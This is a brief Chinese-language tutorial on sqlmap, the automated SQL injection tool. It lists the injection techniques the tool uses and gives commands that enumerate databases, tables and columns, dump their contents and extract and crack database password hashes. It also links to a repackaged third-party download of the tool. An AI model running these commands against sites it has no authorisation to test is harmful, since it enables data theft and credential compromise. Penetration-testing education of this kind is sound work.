sqlmap介紹
sqlmap是一款自動注入工具,主要功能是掃描,發現並利用給定URL的sql注入漏洞。支持許多主流數據庫,比如Mysql, Oracle, Microsoft SQL Server等。sqlmap採用了以下技術來實現sql注入:
- 基於時間的盲注:不能根據頁面返回結果判斷信息,是利用相關時間函數,通過頁面響應的時間判斷函數是否執行。
- 基於布爾類型的盲注:根據返回頁面判斷條件真假。
- 基於報錯注入:基於頁面返回的錯誤信息或是注入的結果直接返回到頁面上。
- 聯合查詢注入:用union進行查詢。
- 堆查詢注入:可以同時執行多條語句時的注入。
sqlmap是需要python環境的,而且對python版本是有要求的,這裏分享一個綠色免python環境的:鏈接: https://pan.baidu.com/s/1TJdKMLvW4v32N_fVbcSvBQ 提取碼: dnnk
常見用法
1.判斷是否存在sql注入
命令:sqlmap.py -u 目標URL
說明:若存在sql注入會返回數據庫的相關信息和注入方式,可以查看相應的Payload。
2.查詢當前用戶下的數據庫
命令:sqlmap.py -u 目標URL --dbs
3.獲取數據庫中的表名
命令: sqlmap.py -u 目標URL -D 數據庫名 --tables
4.獲取表中的字段名
命令:sqlmap.py -u 目標URL -D 數據庫名 -T 表名 --columns
5.獲取字段的內容
命令:sqlmap.py -u 目標URL -D 數據庫名 -T 表名 -C 字段名1,字段名2... --dump
6.獲取數據庫用戶
命令: sqlmap.py -u 目標URL --users
7.獲取數據庫的密碼
命令:sqlmap.py -u 目標URL --passwords
說明:如果當前用戶有權限讀取,sqlmap會先列出用戶名,然後列出密碼的hash,嘗試破解。
8.獲取當前網站數據庫名稱
命令:sqlmap.py -u 目標URL --current-db
9.獲取當前網站數據庫用戶名稱
命令:sqlmap.py -u 目標URL --current-user